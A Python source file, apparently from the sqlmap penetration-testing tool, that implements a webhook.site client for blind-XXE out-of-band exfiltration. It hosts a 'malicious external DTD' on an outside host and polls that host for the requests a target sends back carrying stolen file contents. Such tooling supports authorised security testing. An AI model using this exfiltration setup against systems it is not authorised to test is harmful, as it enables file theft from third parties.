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92 lines
3.9 KiB
Python
92 lines
3.9 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import json
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from lib.core.data import conf
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from lib.core.data import logger
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from lib.core.convert import getBytes
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from lib.core.convert import getText
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from lib.core.enums import HTTP_HEADER
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from lib.core.settings import OOB_EXFIL_ENDPOINT
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# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
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# response (our malicious external DTD) AND log the request the target then makes
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# (carrying the file content). interactsh cannot host arbitrary content, hence the
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# separate backend. HTTP-only, free tier, no account required for basic tokens.
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class WebhookSite(object):
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"""Thin webhook.site client: mints tokens (optionally serving fixed content)
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and reads back the requests captured on them. Self-contained on urllib (like the
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interactsh client): sqlmap's getPage caches by URL, which would make repeated
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polls of the same /requests URL return a stale snapshot and miss the callback."""
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def __init__(self):
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# Exfil host is the public content-serving endpoint (its token API is
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# service-specific, so --oob-server, which selects the interactsh *detection*
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# server, deliberately does not repoint it).
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self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/')
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def _api(self, path, post=None):
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try:
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import ssl
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try:
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from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
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except ImportError:
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from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
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headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
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handlers = []
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try:
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context = ssl.create_default_context()
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if conf.get("verifyCert") is False:
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context.check_hostname = False
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context.verify_mode = ssl.CERT_NONE
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handlers.append(HTTPSHandler(context=context))
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except Exception:
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pass
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if conf.get("proxy"):
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handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
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request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers)
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response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
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return getText(response.read())
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except Exception as ex:
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logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
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return None
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def newToken(self, content=None):
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"""Create a token. When `content` is given the token serves it verbatim
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(used to host the external DTD). Returns the token UUID or None."""
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body = {"default_status": 200}
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if content is not None:
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body["default_content"] = content
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body["default_content_type"] = "application/xml"
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page = self._api("/token", post=json.dumps(body))
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if page:
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try:
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return json.loads(page).get("uuid")
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except ValueError:
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pass
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return None
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def hostUrl(self, token):
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"""Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly
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cannot fetch https external entities."""
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host = self.endpoint.split("://", 1)[-1]
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return "http://%s/%s" % (host, token)
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def captured(self, token):
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"""Return the list of request records captured on `token` (newest first)."""
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page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token)
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if page:
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try:
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return json.loads(page).get("data") or []
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except ValueError:
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pass
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return []
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